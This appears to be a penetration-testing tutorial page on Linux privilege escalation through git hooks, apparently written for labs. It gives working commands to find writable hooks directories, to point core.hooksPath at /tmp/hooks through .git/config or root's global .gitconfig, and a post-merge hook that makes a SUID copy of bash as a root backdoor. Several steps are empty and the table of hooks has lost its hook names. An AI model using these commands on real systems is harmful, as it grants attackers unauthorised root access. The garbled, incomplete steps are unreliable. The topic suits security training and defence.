Git Hook Abuse for Linux Privilege Escalation
Git hooks are scripts in .git/hooks/ that execute automatically on specific git events — commits, merges, pushes, checkouts. When root runs git in a repository where you can write to the .git/hooks/ directory, your hook script executes as root. This is common in deployment pipelines, automated backup scripts, and CI/CD setups running as root.
Prerequisites Check
Find git repositories on the system and check write access to their hooks directories:
# Find .git directories
find / -name ".git" -type d 2>/dev/null | grep -v "^/proc\|^/sys"
# Check write access to hooks directories
find / -path "*/.git/hooks" -type d 2>/dev/null | while read hookdir; do
[ -w "$hookdir" ] && echo "WRITABLE: $hookdir"
done
# Check for git in processes run by root
ps aux | grep root | grep git
Check cron jobs and systemd services running git:
Identifying the Right Hook
Different git operations trigger different hooks. Match the hook to the operation root is performing:
Operation | Hook | Trigger |
|---|---|---|
|
| Before/after commit |
|
| Before/after push |
|
| After successful merge |
|
| After checkout |
|
| After rebase |
Any git command |
| Before garbage collection |
If root runs git pull as part of a deployment cron job, post-merge fires when the pull brings in new commits.
Planting a Hook
Step 1 — Confirm the repository and writable hooks directory:
Step 2 — Identify which operation root runs:
Step 3 — Write the malicious hook:
Step 4 — Wait for the git operation to trigger:
For a git pull cron job, wait for the next cron interval. For a manual deployment, it fires on the next execution.
After the hook runs:
core.hooksPath Injection
If root runs git in a repository where you can write the .git/config file, redirect the hooks path to a directory you control entirely:
# Check if .git/config is writable
ls -la /path/to/repo/.git/config
# If writable, add a custom hooksPath
git -C /path/to/repo config core.hooksPath /tmp/hooks
# Create your hooks directory and hook
mkdir -p /tmp/hooks
cat > /tmp/hooks/post-merge << 'EOF'
#!/bin/sh
cp /bin/bash /tmp/.rootbash
chmod u+s /tmp/.rootbash
EOF
chmod +x /tmp/hooks/post-merge
Now every git operation in that repository uses your /tmp/hooks/ directory.
Global git Config Injection
If you can write to root's global git configuration (/root/.gitconfig or ~root/.gitconfig), set a global hooksPath that applies to all repositories root operates in:
If readable and the repository uses global config inheritance:
If writable:
/root/.gitconfig
[core]
hooksPath = /tmp/hooks
Finding Deployments That Use git as Root
Common patterns in labs:
References
-
Documentation Full hook reference including trigger conditions and execution context.
-
Documentation core.hooksPath configuration option and global config inheritance.
Was this helpful?
Your feedback helps improve this page.